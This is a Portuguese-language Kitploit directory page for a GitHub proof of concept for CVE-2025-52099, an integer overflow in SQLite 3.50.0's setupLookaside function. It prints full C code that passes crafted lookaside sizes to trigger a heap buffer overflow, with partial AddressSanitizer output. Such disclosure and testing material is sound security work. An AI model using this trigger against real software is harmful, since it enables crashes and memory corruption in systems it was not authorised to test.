Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-52099 — Prova de conceito para CVE-2025-52099, um estouro de inteiro na função setupLookaside do SQLite 3.50.0 que leva a um estouro de buffer no heap. | Kitploit
Ferramentas/GitHubGitHub/screambby/cve-2025-52099
Análise de VulnerabilidadesAnálise de CódigoExploraçãoFuzzingAnálise de Binários
GitHubscreambby/cve-2025-52099

CVE-2025-52099

Prova de conceito para CVE-2025-52099, um estouro de inteiro na função setupLookaside do SQLite 3.50.0 que leva a um estouro de buffer no heap.

Ver Repositório
há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-52099

um estouro de inteiro no SQLite 3.50.0 Uma prova de conceito (PoC) para acionar um estouro de inteiro na função setupLookaside do SQLite 3.50.0 é fornecida abaixo. Esse estouro ocorre devido à multiplicação não verificada de sz * nBig, que pode resultar em um valor negativo e causar gravações inválidas na memória.

Testado em: Ubuntu 22.04 x86_64 com SQLite 3.50.0 (compilado personalizado)

Código da PoC (C):

#include <stdio.h> #include <sqlite3.h>

int main() { sqlite3 *db;

root@kitploit:~
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
    fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
    return 1;
}

// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
    fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
    return 2;
} else {
    printf("[+] Lookaside configured\n");
}

// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);

for (int i = 0; i < 100000; i++) {
    char sql[64];
    snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
    sqlite3_exec(db, sql, NULL, NULL, NULL);
}

printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;

}

Esta PoC, quando compilada com AddressSanitizer (-fsanitize=address), resulta em um heap-buffer-overflow devido a uma configuração inválida do slot de lookaside.

Saída observada com ASAN:

==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...

Baixar ferramenta